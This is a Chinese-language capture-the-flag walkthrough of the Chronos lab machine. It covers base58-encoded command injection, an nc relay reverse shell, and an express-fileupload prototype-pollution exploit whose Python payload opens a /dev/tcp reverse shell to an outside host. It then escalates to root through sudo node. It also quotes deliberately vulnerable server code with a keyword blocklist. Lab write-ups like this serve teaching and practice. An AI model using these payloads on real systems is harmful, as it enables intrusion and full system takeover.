|
目录
一、主机发现
二、端口扫描
三、服务版本扫描
四、登录http协议服务所开放的端口
1.加载页面源代码
2.查看脚本数据?
五、Cyberchef进行解码
1.cyberchef简单介绍
2.javascript beauty把数据转码
3.利用这个网址
4.尝试重新访问页面
?4.解码参数
六、尝试命令注入
1.对其编码
2.进行命令注入
?七、nc连接
1.尝试nc是否可行
(1)侦听端口
(2)建立连接
2.nc串联
八、信息收集
1.查看当前目录下的文件
(1)package.json
(2)查看app.js
2.对上一级目录进行查看
(1)server.js的内容,
(2)package.json文件
3./etc/home
(1)imera用户
(2)查看imera家目录
?九、利用express-fileupload库的漏洞提权拿到imera权限
1.利用代码:
2.步骤
(1)侦听端口
(2)获得imera权限
(3)查看user.txt,得到flag
?十、利用 sudo -l 提权获得root权限
1.用于显示当前用户可以用 sudo 执行那些命令。
2.利用node反弹shell
一、主机发现
利用netdiscover工具
最后的子网掩码最好 -8 扫描,这样扫描出来的效果更好
sudo netdiscover -r 192.168.43.27/16

可以看到 192.168.43.49就是我们要攻击的靶机
二、端口扫描

三、服务版本扫描
?
四、登录http协议服务所开放的端口
1.加载页面源代码

发现两个页面的源代码一样。唯一有用信息就是脚本里的信息,把他放到复制下来看一下。
2.查看脚本数据
发现是一堆加密的字符,所以试着去解密这些字符
五、Cyberchef进行解码
1.cyberchef简单介绍

三个框框,input是输入框,output是输出框,recipe译为佐料,这里是放置转码类型的地方。
2.javascript beauty把数据转码
经过 转码我们就看到了这些内容

?有一条url信息对我们是有帮助的
3.利用这个网址
由于都是8000端口,猜测此域名和ip有所关联,为了让域名能正常解析,所以在kali上修改hosts文件,将ip与域名绑定到一起

4.尝试重新访问页面

爆出来一行 时间日期年月
?4.解码参数
利用magic模块来解码参数,解码出来是linux里的日期参数,可以猜测此参数就是调用到linux中的命令端口,所以尝试对参数进行命令注入

六、尝试命令注入
&& ls
1.对其编码
还是采用cyberchef这个加解密的瑞士军刀,选择to base64模块

2.进行命令注入
注入十分顺利,可以看到存在命令注入漏洞。

?七、nc连接
1.尝试nc是否可行
(1)侦听端口
nc -nvlp 5555
(2)建立连接
这里需要base58编码
nc 192.168.43.27 5555
页面报错,但是连接成功
2.nc串联
1.开启两个侦听端口
2.建立连接
要进行编码
&& nc 192.168.43.27 5555 | /bin/bash | nc 192.168.43.27 6666
7m71bMEyK3F7NzzUQKtp127YFLuqnV3pqN33VNWsDhnHuKrArnFkgtgARwefeJpPMVxrLDC2c9JHbik4pV

八、信息收集
1.查看当前目录下的文件

?该web应用使用node.js来开发的,我们来查看这些文件,特别是依赖包文件package.json和主程序文件app.js
(1)package.json
该文件下有依赖的库bs58(base58),cors和express这个常用的web应用开发框架。

(2)查看app.js
// created by alienum for Penetration Testing
//导入依赖库,设置端口
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
//将地址进行路由的一个过程
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
//这里就是将date命令和解密后的参数拼接的一段代码
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
//首先判断agent是否为chronos本机,之后检测是否有恶意的命令注入语句,
//如果有则发出提醒Something went wrong,但是没有终止命令的执行
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
//运行前面拼接的命令
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
发现并没有对我们提权有所帮助的框架或者是信息。
2.对上一级目录进行查看
发现有一个chronos-v2的web应用,查看其中的文件
(1)server.js的内容,
可以看到address是127.0.0.1 端口port是8080,所以说这是架设在靶机服务器本地上的一个web应用。
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
(2)package.json文件
可以发现一个express-fileupload库,尝试去利用它。

3./etc/home
(1)imera用户

(2)查看imera家目录
发现有一个user.txt并且无法查看,只有imera用户具有权限

?
?九、利用express-fileupload库的漏洞提权拿到imera权限
1.利用代码:
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
2.步骤
(1)侦听端口
nc -nvlp 8888
(2)获得imera权限

(3)查看user.txt,得到flag

?十、利用 sudo -l 提权获得root权限
1.用于显示当前用户可以用 sudo 执行那些命令。
sudo -l

2.利用node反弹shell
sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})'

?拿到了第二个flag
|